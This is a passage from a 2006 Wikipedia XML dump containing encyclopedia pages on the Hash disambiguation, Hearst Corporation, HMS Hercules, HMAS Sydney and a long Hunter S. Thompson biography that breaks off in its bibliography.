* [http://www.thedoteaters.com/play4sta1.htm The Dot Eaters entry] featuring a history of Hunt the Wumpus
* [http://tatsusoft.bubblebobble.com/wumpus.html Hunt the Wumpus from TatsuSoft] Fully playable PC version

[[Category:1972 computer and video games]]
[[Category: PC games]]
[[Category:TI-99/4A games]]
[[de:Hunt the Wumpus]]
[[ru:Вампус]]{{Link FA|ru}}
[[zh:Hunt the Wumpus]]</text>
    </revision>
  </page>
  <page>
    <title>Hash</title>
    <id>14324</id>
    <revision>
      <id>38829655</id>
      <timestamp>2006-02-08T22:40:42Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  adding: pl</comment>
      <text xml:space="preserve">The word '''hash''' can refer to:
* The [[number sign]] (#), called a &quot;pound sign&quot; in [[North America]].
* Hash - A slang term for [[Hashish]], a form of [[Cannabis (drug)|cannabis]].
* [[Hash (food)]] - A food consisting of diced meat and potatoes, see also [[hash brown]].
* [[Hash (novel)]] ''Pölsan'' - A novel by Swedish author [[Torgny Lindgren]]
* [[Hash House Harriers]] - An informal running race in which &quot;hashers&quot; chase a &quot;rabbit&quot; (lead runner) on an improvised course.
* [[Hash Inc.]] - A software company. Created [[Animation:Master]].
* [[Hash function]] - A specialized type of function used to convert data with a large [[range]] to a smaller range (or from an alphanumeric string to a pure number).
** [[Cryptographic hash function]] - a hash function that is difficult to invert.
** [[Hash table]] - In computer science a type of [[Associative array]] using a hash function. The associative arrays in the [[Ruby programming language]] and the newer versions of [[Perl]] are called &quot;hashes&quot; after their implementation in terms of a hash table.
** [[Geometric hashing]] - A method for efficiently finding geometric objects of the same or similar shape.

{{disambig}}

[[pl:Hash]]</text>
    </revision>
  </page>
  <page>
    <title>Hearst Corporation</title>
    <id>14325</id>
    <revision>
      <id>41841925</id>
      <timestamp>2006-03-02T02:23:19Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Assets */  Disambig Cosmopolitan (magazine)</comment>
      <text xml:space="preserve">The '''Hearst Corporation''' is a large privately-held [[media conglomerate]] based in [[Media of New York City|New York City]]. Founded by [[William Randolph Hearst]] as an owner of [[newspaper]]s, the company's holdings now include a wide variety of media. The Hearst family is involved in the ownership and management of the company.

=== Trustees of William Randolph Hearst's will (2003) ===
Under William Randolph Hearst's will, a common board of thirteen trustees--five family members and eight outsiders--administers the Hearst Foundation, the William Randolph Hearst Foundation, and the trust that owns (and selects the 21-member board of) the Hearst Corporation. The foundations shared ownership until tax law changed to prevent this. The present trustees are:
*[[George Randolph Hearst Jr.]], chairman of Hearst Corporation and president of the Hearst Foundation
*[[Victor F. Ganzi]], president and chief executive officer of the Corporation
*Frank A. Bennack Jr., vice chairman and longtime former president and chief executive of the Corporation
*[[William Randolph Hearst III]], president of the William Randolph Hearst Foundation
*John Randolph Hearst Jr., an officer and director of the corporation
*Virginia Hearst Randt, daughter of late former chairman [[Randolph Apperson Hearst]]
*Anissa Bouadjakdji Balson, granddaughter of David Whitmire Hearst Sr.
*Richard E. Deems, former head of Hearst Magazines, now a consultant
*Gilbert C. Maurer, succeeded Deems as head of Hearst Magazines, then preceded Ganzi as executive vice president and chief operating officer under Bennack, now a consultant
*Raymond J. Petersen, longtime executive vice president of Hearst Magazines, retains title but largely inactive
*Mark F. Miller, executive vice president of Hearst Magazines (retiring late 2005)
*John G. Conomikes, vice president of Corporation, oversees broadcast interests
*Harvey L. Lipton, lawyer and former vice president and Secretary of the Corporation

The trust dissolves when all grandchildren of William Randolph Hearst alive at his death have died.

==Assets==
:''Main article: [[List of assets owned by Hearst Corporation]]''
A non-exhaustive list of its properties and investments includes:

'''Magazines'''
* ''[[CosmoGIRL!]]''
* ''[[Cosmopolitan (magazine)|Cosmopolitan]]''
* ''[[Country Living]]''
* ''[[Esquire]]''
* ''[[Good Housekeeping]]''
* ''[[Harper's BAZAAR]]''
* ''[[House Beautiful]]''
* ''[[Marie Claire]]''
* ''[[O at Home]]''
* ''[[O, The Oprah Magazine]]''
* ''[[Popular Mechanics]]''
* ''[[Quick &amp; Simple]]''
* ''[[Redbook]]''
* ''[[Seventeen]]''
* ''[[SHOP Etc.]]''
* ''[[SmartMoney]]''
* ''[[Teen]]''
* ''[[Town &amp; Country]]''
* ''[[Town &amp; Country TRAVEL]]''
* ''[[Veranda]]''
* ''[[Weekend]]''

'''Newspapers'''
* ''[[Beaumont Enterprise]]''
* ''[[Houston Chronicle]]''
* ''[[Jasper Newsboy]]''
* [[King Features Syndicate]]
* ''[[Laredo Morning Times]]''
* ''[[Midland Daily News]]''
* ''[[San Francisco Chronicle]]''
* ''[[Seattle Post-Intelligencer]]''
* ''[[San Antonio Express-News]]''

'''[[Television]] and [[Cable]] (investments)'''
* [[A&amp;E Television Networks]] (Shared with [[The Walt Disney Company|Disney]] and [[NBC Universal]])
* [[ESPN]] (20% shared with Disney)
* [[Hearst-Argyle]]
* [[Lifetime Television]]

==Competitors==
*[[Condé Nast Publications]]
*[[Time Inc.]]

== External links ==
*[http://www.hearst.com/ Hearst Corporation home page]
*[http://hearstfdn.org/ The Hearst Foundation, Inc.]
*[http://www.hearstmags.com/ Hearst Magazines Subscription Center]


[[Category:Newspaper companies of the United States]]
[[Category:Magazine companies of the United States]]
[[Category:Companies based in New York City]]
[[Category:Hearst family]]

[[fr:Hearst Corporation]]
[[nl:Hearst Corporation]]</text>
    </revision>
  </page>
  <page>
    <title>HMS Hercules</title>
    <id>14326</id>
    <revision>
      <id>41047624</id>
      <timestamp>2006-02-24T18:41:02Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">Five ships of the British [[Royal Navy]] have borne the name '''HMS ''Hercules''''', after the Greek and Roman hero [[Hercules]].

*The first [[HMS Hercules (1759)|''Hercules'']] was a 74-gun [[ship of the line]],  launched [[1759]], and sold [[1784]]. Captain [[John Porter (captain)|John Porter]] was in command in early [[1759]].
* ? ''Hercules'' was a 78-gun [[ship of the line]] taken prize by the British in [[1798]] and broken up in [[1810]]. ?
*The second [[HMS Hercules (1815)|''Hercules'']] was a 74-gun [[ship of the line]] launched in [[1815]], on harbour service from [[1853]] and sold [[1865]].
*The third [[HMS Hercules (1868)|''Hercules'']] was an early [[battleship]], launched [[1868]], on harbour service from [[1881]], a barracks from [[1905]], renamed ''Calcutta'' in [[1909]], ''Fisgard II'' in [[1915]], and sold [[1932]].
*The fourth [[HMS Hercules (1910)|''Hercules'']] was a [[Colossus class battleship (1910)|''Colossus''-class]] [[battleship]] built by Palmers, launched on [[May 10]], [[1910]], and commissioned on [[July 31]], [[1911]] at [[Portsmouth, England|Portsmouth]].  She was a 20,000-ton [[dreadnought]], mounting 10 12 inch (305 mm) guns and capable of 21 knots (39 km/h).
*[[HMS Hercules (R49)|''Hercules'']] was to be one of the six [[Majestic class aircraft carrier|''Majestic''-class]] light fleet [[aircraft carriers]].  She was laid down [[October 12]], [[1943]] and launched [[September 22]], [[1945]], but work was suspended in May [[1946]].  She was sold to India in January [[1957]], and commissioned [[March 4]], [[1961]] as [[INS Vikrant|INS ''Vikrant'']].

{{shipindex}}
[[Category:Royal Navy ship names|Hercules]]

[[sl:HMS Hercules]]</text>
    </revision>
  </page>
  <page>
    <title>HMAS Sydney</title>
    <id>14327</id>
    <revision>
      <id>41150325</id>
      <timestamp>2006-02-25T10:20:25Z</timestamp>
      <contributor>
        <username>SpookyMulder</username>
        <id>87517</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Four ships of the [[Royal Australian Navy]] have been named '''HMAS ''Sydney''''' after [[Sydney]], the capital city of [[New South Wales]].

*[[HMAS Sydney (1912)|''Sydney'']] (1912) - [[Town class cruiser (1910)|''Town'' class]] [[light cruiser]] launched [[29 August]] [[1912]]. Engaged and sank the smaller German light cruiser [[SMS Emden|SMS ''Emden'']] at the [[Battle of Cocos]], near the [[Cocos (Keeling) Islands]] in the [[Indian Ocean]] on [[November 9]] [[1914]].
*[[HMAS Sydney (1934)|''Sydney'']] (1934) - Modified [[Leander class cruiser (1931)|''Leander'' class]] light cruiser launched [[22 September]] [[1934]]. The ship was laid down as HMS ''Phaeton'', but was purchased by the Australian Government before completion. Engaged the disguised German raider [[German auxiliary cruiser Kormoran|HSK ''Kormoran'']] off [[Western Australia]] on [[November 19]] [[1941]] and both ships sank. Neither wreck has been found and there were apparently no survivors from ''Sydney''. (See also [[Battle between HMAS Sydney and HSK Kormoran]].)
*[[HMAS Sydney (1944)|''Sydney'']] (1944) - [[Majestic class aircraft carrier|''Majestic'' class]] light [[aircraft carrier]] launched [[30 September]] [[1944]] as HMS ''Terrible'' and commissioned into the RAN [[16 December]] [[1948]]. Used as a vehicle transport during the [[Vietnam War]]. Sold to Taiwan for scrapping in 1975.
*[[HMAS Sydney (FFG03)|''Sydney'']] (1980) - [[Adelaide class frigate|''Adelaide'' class]] guided missile [[frigate]] launched [[26 September]] [[1980]].
*[[HMAS Sydney (2017)|''Sydney'']] - Air warfare destroyer to enter service after 2013.

{{shipindex}}
[[ja:シドニー (豪海軍)]]
[[pl:Sydney (okr&amp;#281;t)]]</text>
    </revision>
  </page>
  <page>
    <title>Hunter S. Thompson</title>
    <id>14328</id>
    <revision>
      <id>42105187</id>
      <timestamp>2006-03-03T21:34:08Z</timestamp>
      <contributor>
        <ip>71.192.100.171</ip>
      </contributor>
      <comment>/* Middle years */</comment>
      <text xml:space="preserve">[[Image:10504755110907657454.jpg|225px|right|thumb|Hunter S. Thompson (Photo by Allen G. Arpadi)]]

'''Hunter Stockton Thompson''' ([[July 18]], [[1937]] &amp;ndash; [[February 20]], [[2005]]) &amp;ndash; was an [[United States|American]] [[journalist]] and [[author]].  He was known for his flamboyant writing style, most notably in his novel ''[[Fear and Loathing in Las Vegas]]'', which blurred the distinctions between writer and subject, fiction and nonfiction. He was the creator of [[gonzo journalism]] and, as such, is widely imitated.

==Early years==
A [[Louisville, Kentucky]] native, Thompson grew up in the [[Cherokee Triangle]] neighborhood of the [[Highlands]] and attended [[Louisville Male High School]]. His parents, Jack (d. [[1952]]) and Virginia (d. [[1999]]), married in [[1935]]. Jack's death left three sons&amp;mdash;Hunter, Davison, and James&amp;mdash;to be brought up by their mother, who was a heavy drinker.{{fn|1}} Thompson's difficult youth, and its influence on his behavior and the development of his misanthropic [[worldview]], awaits serious literary analysis.

After early trouble with the law, including an arrest in [[1956]] for robbery, he enlisted in the [[Air Force]] as part of his sentence. At [[Eglin Air Force Base]], [[Florida]], in [[1956]], he began working as a [[sports]] journalist, writing for the base [[newspaper]] and moonlighting for various local newspapers on the side, despite regulations.  He was discharged in [[1958]] and claimed to have been issued a &quot;totally unclassifiable&quot; status. On the [[GI Bill]] Thompson attended the [[Columbia University]]'s School of General Studies where he took classes on short story writing, while maintaining a [[Beat generation|beat]]-inspired lifestyle in [[New York City]]. 

During this time he also worked briefly for [[Time Magazine]] as a copyboy for $50 a week. While at Time he also copied two novels in their entirety on a typewriter in order to learn about the writing styles of the authors. They were [[F. Scott Fitzgerald]]'s ''[[The Great Gatsby]]'' and [[Ernest Hemingway]]'s ''[[A Farewell To Arms]]''. He was fired from the job at Time in early [[1959]] for insubordination. Later that year, he also worked briefly as a reporter for the [[Middletown Daily Record]] in upstate [[New York]]. He was fired from this job after damaging an office candy machine and, separately, arguing with the owner of a local restaurant who happened to be an advertiser with the paper.

In [[1960]] Thompson moved to [[San Juan, Puerto Rico]] to take a job with the sporting magazine ''[[El Sportivo]]'' which soon folded. However the move to Puerto Rico was the beginning of a period during which Thompson was to travel extensively in the [[Caribbean Islands|Caribbean]] and [[South America]] writing [[freelancer|freelance]] articles for a number of U.S. daily newspapers. While in [[Puerto Rico]] he befriended noted journalist [[William Kennedy (author)|William Kennedy]]. Thompson also spent time as a [[South America]]n correspondent for a [[Dow Jones and Company|Dow Jones]]-owned weekly newspaper, the ''[[National Observer]]''. In the early 1960s he lived and worked as a security guard at [[Big Sur]] Hot Springs at the time it became the [[Esalen Institute]].

[[Image:Gonzo_quote.PNG|left|thumbnail|A modification of one of Thompson's original [[Gonzo]] flyers during his bid for [[sheriff]] of [[Aspen, Colorado]].]]

In these years Thompson wrote two serious novels (''[[Prince Jellyfish]]'' and ''[[The Rum Diary]]'') and many [[short stories]], submitting them to many publishers. ''The Rum Diary'' was only published in [[1998]] long after Thompson had become a celebrity. Kennedy later remarked that he and Thompson were both failed novelists who had turned to journalism in order to make a living.

He married his long-time girlfriend Sandra Dawn Conklin (a.k.a. Sandy Conklin Thompson, now Sondi Wright) on [[May 19]], [[1963]]. The couple had one son, Juan Fitzgerald Thompson, born [[March 23]], [[1964]]. The couple conceived five more times together, however, three were miscarriages, and two died shortly after birth.  In [[Rolling Stone]] issue 970, a tribute issue for Hunter, Sandy wrote, &quot; I ... want to acknowledge the five children Hunter and I lost &amp;mdash; two full term babies, three miscarriages....  I had so wanted more Hunters! One of the most beautiful gifts that Hunter ever gave me ... Sarah, our full term, eight-pound baby, lived about twelve hours. I lay there in Aspen Valley Hospital waiting, and when I saw the doctor's face it was unbearable. I thought I might go mad. Hunter leaned over the bed and said, '''Sandy, if you want to go out there for awhile &amp;mdash; do that, just know that Juan and I really need you''.'  I was back.&quot;  After nineteen years together and seventeen years of marriage, Hunter and Sandy divorced in [[1980]]; the two remained close friends until Hunter's death.

Thompson got his big break in [[1965]] when he was approached by ''[[The Nation (U.S. periodical)|The Nation]]'' editor [[Carey McWilliams (journalist)|Carey McWilliams]] with an idea for a story based upon his experience with the notorious [[Hells Angels]] motorcycle gang. Thompson had spent a year living and riding with the Hells Angels, but the relationship broke down when the bikers suspected that Thompson was making money from his writing, and they demanded a share of the profits. The author ended up with a savage beating, or 'stomping' as the Angels referred to it. After the article was published by ''The Nation'' ([[May 17]], [[1965]]), numerous book offers on the subject came his way, and [[Random House]] published the hard cover ''[[Hells Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs]]'' in [[1966]]. 

In the late 1960s, Thompson received a &quot;doctorate&quot; in Divinity from a mail-order church while living in [[San Francisco]].  He was jocularly referred to as &quot;the Good Doctor&quot; on account.

==Middle years==
Thompson went on to work for [[Rolling Stone magazine|''Rolling Stone'' magazine]] where his next two books, ''[[Fear and Loathing in Las Vegas]]'' and ''[[Fear and Loathing on the Campaign Trail 1972]]'', were first serialized.

Published in [[1971]], ''Fear and Loathing in Las Vegas: A Savage Journey to the Heart of the American Dream'' is a first-person account by a journalist (Thompson himself, under the pseudonym &quot;Raoul Duke&quot;) on a trip to [[Las Vegas]] with his &quot;300-pound [[Samoa]]n&quot; [[attorney]], &quot;[[Dr. Gonzo]]&quot; (a character inspired by Thompson's friend, [[Chicano]] lawyer [[Oscar Zeta Acosta]]) to cover a [[narcotics]] officers' convention and the &quot;fabulous [[Mint 400]]&quot; [[motorcycle]] race. During the trip, he and his lawyer become sidetracked by a search for the [[American dream]], with the aid of copious amounts of [[alcohol]], [[LSD]], [[Diethyl ether|ether]], [[adrenochrome]], [[mescaline]], [[cocaine]], [[marijuana]] and other drugs. [[Ralph Steadman]], who collaborated with Thompson on several projects, contributed [[expressionism|expressionist]] pen and ink illustrations. 

''Fear and Loathing on the Campaign Trail '72'' is a collection of ''Rolling Stone'' articles he wrote while covering the [[U.S. presidential election, 1972|election campaigns]] of President [[Richard M. Nixon]] and his unsuccessful opponent, Senator [[George McGovern]].  The book focuses largely on the [[Democratic Party (United States)|Democratic Party]]'s primaries and its breakdown due to splits between the different candidates; McGovern was extolled while [[Ed Muskie]] and [[Hubert Humphrey]] were ridiculed.  Thompson would go on to become a fierce critic of Nixon, both during and after his presidency.  After Nixon's death in [[1994]], Thompson famously described him in ''Rolling Stone'' as a man who &quot;could shake your hand and stab you in the back at the same time&quot; and said &quot;his casket [should] have been launched into one of those open-sewage canals that empty into the ocean just south of Los Angeles.  He was a swine of a man and a jabbering dupe of a president.&quot;   

Thompson debuted in ''Rolling Stone'' with an article describing his [[1970]] bid for [[sheriff]] of [[Pitkin County, Colorado]] on the &quot;Freak Power&quot; ticket. Thompson narrowly lost the election, having run on a platform promoting drugs decriminialization (but for use only, not trafficking, as he disapproved of profiteering), tearing up the streets and turning them into [[bike path]]s, and renaming [[Aspen, Colorado]] to &quot;Fat City&quot; &amp;mdash; . The incumbent [[Republican Party (United States)|Republican]] sheriff whom he ran against had a crew cut, prompting Thompson to shave his head bald and refer to his opposition as &quot;my long-haired opponent.&quot;

==Later years==
One of Thompson's last books, ''[[Kingdom of Fear]]'', is an angry commentary on the passing of the [[American Century]]. Thompson also wrote a web column, &quot;Hey Rube,&quot; for [[ESPN]] &quot;Page 2,&quot; which was later compiled into a book of the same name. He had at times also toured on the lecture circuit, once with [[John Belushi]]. 

Thompson was fond of [[firearms]] and was known to keep a keg of [[gunpowder]] in his basement.

Thompson's brother James (born [[1949]] and died from [[AIDS]] complications in [[1994]]) claimed Thompson  was offended by his [[homosexuality]], and the two were never close.  James complained how the burden of caring for their drunken mother fell to him over the many years Hunter was away, including sometimes having to take a taxi to pick her up off the pavement where she had passed out. 

Hunter married Anita Bejmuk, his long-time assistant, on [[24 April]], [[2003]].

==Death==
Thompson died at his fortified compound in [[Woody Creek, Colorado|Woody Creek]], [[Colorado]], at 5:42 pm on [[February 20]], [[2005]] from a [[suicide|self-inflicted]] gunshot wound to the head.  He was 67 years old.

Thompson's son (Juan), daughter-in-law (Jennifer Winkel Thompson), and grandson (Will Thompson) were visiting for the weekend at the time of his suicide. Will and Jennifer were in the adjacent room when they heard the gunshot. They reported to the press that they do not believe his suicide was out of desperation, but was a well thought out act resulting from Thompson's many painful medical conditions.{{fn|2}}  Thompson's wife, Anita, who was at the gym at the time of her husband's death, was on the phone with Thompson when he ended his life.

Artist and friend [[Ralph Steadman]] wrote: 
:&quot;...He told me 25 years ago that he would feel real trapped if he didn't know that he could commit suicide at any moment.  I don't know if that is brave or stupid or what, but it was inevitable. I think that the truth of what rings through all his writing is that he meant what he said. If that is entertainment to you, well, that's OK. If you think that it enlightened you, well, that's even better. If you wonder if he's gone to Heaven or Hell &amp;mdash;rest assured he will check out them both, find out which one Richard Milhous Nixon went to &amp;mdash;and go there. He could never stand being bored. But there must be Football too &amp;mdash;and Peacocks...&quot; {{fn|3}}

Three months later, ''Rolling Stone'' released what was claimed to be Thompson's final written words, written with a marker four days before his death, The title was &quot;Football Season is over&quot;:
:&quot;No More Games. No More Bombs. No More Walking. No More Fun. No More Swimming. 67. That is 17 years past 50. 17 more than I needed or wanted. Boring. I am always bitchy. No Fun&amp;mdash;for anybody. 67. You are getting Greedy. Act your old age. Relax&amp;mdash;This won't hurt.&quot;

===Funeral===
On [[August 20]], [[2005]], in a private ceremony, Thompson's ashes were fired from a cannon atop a 153-foot tower of his own design (in the shape of a double-thumbed fist clutching a [[peyote]] button) to the tune of [[Bob Dylan]]'s &quot;[[Mr. Tambourine Man]],&quot; known to be the song most-respected by the late writer. Red, white, blue and green fireworks were launched along with his ashes.  As the city of Aspen would not allow the cannon to remain for more than a month, the cannon has been dismantled and put into storage until a suitable permanent location can be found. There is talk of a public party sometime in the summer of [[2006]]. [[Johnny Depp]], a close friend of Thompson (and who portrayed Thompson in the movie adaptation of [[Fear and Loathing in Las Vegas]]), financed the funeral, according to widow Anita Thompson. Depp told the [[Associated Press]], ''&quot;All I'm doing is trying to make sure his last wish comes true. I just want to send my pal out the way he wants to go out.&quot;''   [http://www.editorandpublisher.com/eandp/news/article_display.jsp?vnu_content_id=1001018730] 
Other famous attendees at the funeral included US [[Senator]] [[John Kerry]] and former-US Senator [[George McGovern]]; [[60 Minutes]] correspondent [[Ed Bradley]]; actors [[Bill Murray]] (who portrayed Hunter S. Thompson in the movie  [[Where the Buffalo Roam]]), [[Sean Penn]], and [[Josh Hartnett]]; singers [[Lyle Lovett]] and [[John Oates]] as well as numerous other friends of Thompson.  An estimated 280 people attended the funeral.

The plans for this impressive monument were initially drawn by Thompson and [[Ralph Steadman]], and were shown as part of an &quot;[[Omnibus]]&quot; program on the [[BBC]], titled &quot;Fear and Loathing in Gonzovision&quot; (1978). It is included as a special feature on the second disc of the 2003 [[Criterion Collection]] DVD release of ''Fear and Loathing in Las Vegas''. The video footage of Steadman and Thompson drawing the plans and outdoor footage showing where he wanted the cannon constructed were played prior to the unveiling of his cannon at the funeral.

[[Douglas Brinkley]], a friend and now the family's spokesman, said of the ceremony: &quot;If that's what he wanted, we'll see if we can pull it off.&quot; {{fn|4}}

==Legacy==
===Writing Style and Persona===
As a writer, Thompson is remembered most for his flamboyant and humorous style, employing [[action verbs]] to comically spin outlandish tales that were completely unbelievable, yet provided a unique viewpoint to accurately describe the underlying reality at hand. Thompson almost always wrote in [[first person]] narrative, and his stories became so colorfully contrived that they easily slipped into the realm of [[fiction]]; however, the basic framework of the story he told was very often true. 

Thompson’s writing style has been widely imitated; his influence on [[American literature|American Writers]] of the latter half of the 20th century is undeniable. 

In his writing, he cultivated the persona of a dangerously absurd, drug-crazed journalist bent on comic self-destruction. While his fictional persona largely mirrored his actual life, Thompson noted during the aforementioined BBC interview that he sometimes felt obligated to live up to the fictional self that he had created.

===Popular slogans===
A slogan of Thompson's, &quot;When the going gets weird, the weird turn pro,&quot; appears as a chapter heading in both ''Fear and Loathing in Las Vegas'' and ''Kingdom of Fear''. He was also quoted as saying, &quot;I hate to advocate drugs, alcohol, violence or insanity to anyone, but they've always worked for me.&quot; Another one of his favorite sayings, &quot;Buy the ticket, take the ride,&quot; is easily applied to virtually all of his exploits. &quot;Too weird to live, too rare to die&quot;, a phrase applied to Oscar Zeta Acosta (Dr. Gonzo from ''Fear and Loathing in Las Vegas''), has been widely used to qualify the &quot;Good Doctor&quot; after his death.

The Hawaiian word &quot;[[mahalo]]&quot; also frequently appears in Thompson's works and correspondence. Loosely translated, it means &quot;may you be in divine breath.&quot; On more than one occasion, &quot;mahalo&quot; followed Thompson's usage of &quot;buy the ticket, take the ride.&quot;

===Letters===
Thompson was a prolific letter writer; letters served as Thompson's primary avenue for personal conversation. Beginning in his teenage years, Thompson made [[carbon copy|carbon copies]] of all his letters, which were almost always typed. Thompson's letters include all of his noted flamboyancy, and were sent to both dear friends and unsuspecting public officials and reporters. 

Some of his letters have begun to be published in a series of books called ''The Fear and Loathing Letters''. The first volume, ''The Proud Highway: Saga of a Desperate Southern Gentleman 1955 - 1967'', is over 650 pages, while the second volume ''Fear and Loathing in America: The Brutal Odyssey of an Outlaw Journalist'' passed 700. [[Douglas Brinkley]], who edits the letter series, said that for every letter included, fifteen were cut. Brinkley estimated Thompson’s own archive contains over 20,000 letters. The last of the three planned volumes of Thompson’s letters has yet to be published; according to [[Amazon.com]] it will be released October 1, 2006 as ''The Mutineer: Rants, Ravings, and Missives from the Mountaintop 1977-2005''.

While Thompson did not write an [[autobiography]], his letters can serve as one. Since his early days in the [[US Air Force]], which he claimed discharged him as &quot;totally unclassifiable&quot;, Thompson's letters contained comic &quot;asides&quot; to &quot;his biographers&quot; that would presumably be &quot;reading-in&quot; on his collected letters. Some of these letters were already bundled into Thompson's ''Kingdom of Fear'', though it is not considered an autobiography. Three [[biography|biographies]] have been written about him.

===Accolades and direct influence===
A [[new journalism|new-journalism]] contemporary of Thompson’s, [[Tom Wolfe]], has called Thompson the greatest American comic writer of the 20th century. 

Hunter Thompson lives on as [[Uncle Duke]] in ''[[Doonesbury]]'', the [[Garry Trudeau]] comic strip.  (Raoul Duke was a [[pseudonym]] used by Thompson.) When the character was first introduced, Thompson protested vociferously, although he supposedly took a liking to the character in later years.  Between [[7 March]] [[2005]] (roughly two weeks after Thompson's suicide) and [[12 March]] [[2005]], the strip ran what was referred to as a tribute to the late Doctor, with Uncle Duke lamenting the death of the man he called his &quot;inspiration.&quot;  The first of these strips [http://www.doonesbury.com/strip/dailydose/index.html?uc_full_date=20050307] featured a panel with artwork similar to that of [[Ralph Steadman]], and later strips featured various [[Non sequitur (absurdism)|non sequitur]]s (with Duke variously transforming into a monster, melting, and shrinking to the size of an empty drinking glass) which seemed to mirror some the effects of  hallucinatory drugs described in Fear and Loathing in Las Vegas. 

Similarly, [[Spider Jerusalem]], the gonzo journalist [[protagonist]] of [[Warren Ellis]]'s ''[[Transmetropolitan]],'' is based on Thompson.

Columnist [[Ed Anger]] of the ''[[Weekly World News]]'' shows a clear Thompson influence.

===Political Beliefs===
Although letters from Thompson to his friends note that he had taken an early interest in [[Ayn Rand]]'s school of [[Objectivist philosophy]], he eventually drifted away from Rand's version of anti-establishment politics into his own field.  While distinctly embracing the notion of [[democracy]] and its virtues as evidenced in his political writings in both the [[U.S. presidential election, 1972|1972]] and [[U.S. presidential election, 1976|1976]] elections, Thompson was acutely aware of the flaws in such a system and regularly advocated radical approaches to politics that veered between [[libertarian]], [[anarchist]], and elements of [[socialism]].  In the documentary &quot;[[Breakfast With Hunter]]&quot;, Thompson can be seen in several scenes wearing different [[Che Guevara]] t-shirts, while his son Juan Thompson acknowledges that his father had '''a perverse resistance to security and predictability, and a deliberate disregard for propriety''.'  

Thompson's official biographer and longtime friend [[Douglas Brinkley]] said:

:&quot;He’s both a kind of old-fashioned believer in democratic virtues, but also an anarchist. There’s always that unpredictable element with him. In any given situation, as soon as he feels there’s a system closing in, he’ll destroy it.&quot;&lt;!-- precise cite? --&gt;

Regarding contemporary politics, in [[2004]] Thompson wrote: &quot;Nixon was a professional politician, and I despised everything he stood for&amp;mdash;but if he were running for president this year against the evil [[George W. Bush|Bush]]-[[Dick Cheney|Cheney]] gang, I would happily vote for him.&quot; ([http://www.rollingstone.com/politics/story/_/id/6562575 Fear and Loathing, Campaign 2004, ''Rolling Stone''])

===Movies===
The film ''[[Where the Buffalo Roam]]'' ([[1980]]) depicts Thompson's attempts at writing stories for both the [[Super Bowl]] and the [[U.S. presidential election, 1972|1972 U.S. presidential election]].  It stars [[Bill Murray]] as Thompson and [[Peter Boyle]] as Thompson's attorney Oscar Acosta, referred to in the movie as Carl Laslow, Esq.

The [[1998]] film adaptation of ''[[Fear and Loathing in Las Vegas]]'' was directed by [[Monty Python]] veteran [[Terry Gilliam]], and starred [[Johnny Depp]] (who moved into Hunter's basement to 'study' Thompson's persona before assuming his role in the film) as [[Raoul Duke]] and [[Benicio Del Toro]] as [[Dr. Gonzo]].  Thompson appeared in the scene at the club &quot;The Matrix&quot;, sitting at a table.  The film has achieved something of a [[cult film|cult following]].

The film ''[[Breakfast With Hunter]]'' ([[2003]]) was directed and edited by [[Wayne Ewing]]. It documents Thompson's work on the movie ''Fear and Loathing in Las Vegas'', his arrest for [[drunk driving]], and his subsequent fight with the court system.

&quot;[[When I Die]],&quot; ([[2005]]), also by [[Wayne Ewing]], is a video chronicle of making Thompson's final farewell wishes a reality and the great send-off itself. 

A new film is in production [[as of 2005]], based upon Thompson's novel ''[[The Rum Diary]]''.  Both Depp and Del Toro will be starring in this new Thompson film.  Del Toro was supposed to have directed, but he withdrew in [[January 2004]]; [[Bruce Robinson (writer)|Bruce Robinson]] is directing instead.

Thompson was long rumored to have appeared on the early 90's [[Nickelodeon (TV channel)|Nickelodeon]] TV series, [[The Adventures of Pete and Pete]], in the episode &quot;New Years Pete.&quot; However, the creators have since debunked this in several interviews, explaining that the &quot;Man on the Street&quot; was simply an extra who, coincidentally, happened to be named Hunter Thompson. [http://www.ugo.com/channels/dvd/features/peteandpete/interview.asp]

==Articles==
*'''''[[The Nation (U.S. periodical)|The Nation]]'''''
**''The Motorcycle Gangs: Losers and Outsiders'' &amp;mdash; May [[1965]] [http://www.thenation.com/doc.mhtml%3Fi=19650517&amp;s=thompson]

*'''''[[Scanlan's Monthly]]'''''
**''[[The Temptations of Jean-Claude Killy]]'' &amp;mdash; [[1970]]
**''[[The Kentucky Derby is Decadent and Depraved]]'' &amp;mdash; [[1970]]

*'''''[[Playboy]]'''''
**''The Great Shark Hunt'' &amp;mdash; [[1974]]

*'''''[[Rolling Stone]]'''''
**''[[Freak Power in the Rockies]]'' &amp;mdash; [[1970]]
**''[[Strange Rumblings in Aztlan]]'' &amp;mdash; [[1971]]
**''[[Fear and Loathing in Las Vegas]]'' &amp;mdash; [[1971]]
**''The Banshee Screams for Buffalo Meat'' &amp;mdash; [[1972]]
**''Memo from the Sports Desk &amp; Rude Notes from a Decompression Chamber'' &amp;mdash; [[1973]]
**''Fear and Loathing at the Watergate'' &amp;mdash; [[1973]]
**''Fear and Loathing at the Superbowl'' &amp;mdash; [[1974]]
**''[[Jimmy Carter and the Great Leap of Faith, An Endorsement With Fear and Loathing by Hunter S. Thompson]]'' &amp;mdash; [[1976]]
**''A Dog Took My Place'' &amp;mdash; [[1983]]
**''Fear and Loathing in Elko'' &amp;mdash; [[1992]]
**''He was a Crook'' &amp;mdash; June [[1994]] [http://teaching.arts.usyd.edu.au/history/hsty3080/StudentWebSites/Nixon%20Obits/source9] [http://www.michaelmoore.com/words/index.php?id=1507]
**''Polo Is My Life'' &amp;mdash; (RS 697) [[1995]]?
**''Fear and Loathing, Campaign 2004'' &amp;mdash; [[2004]] [http://www.rollingstone.com/politics/story/_/id/6562575?rnd=1099009920793&amp;has-player=true]

*'''''[[Cycle World]]'''''
**''Song of the Sausage Creature'' &amp;mdash; March [[1995]]

==Bibliography==
*''The Rum Diary: The Long Lost Novel'' (1959; Simon &amp; Schuster, 1999, ISBN 0684856476)
*''[[Hells Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs|Hells Angels: A Strange and Terrible Saga]]'' (New York, Random House, 1966; Ballantine Books, 1996, ISBN 0345410084)
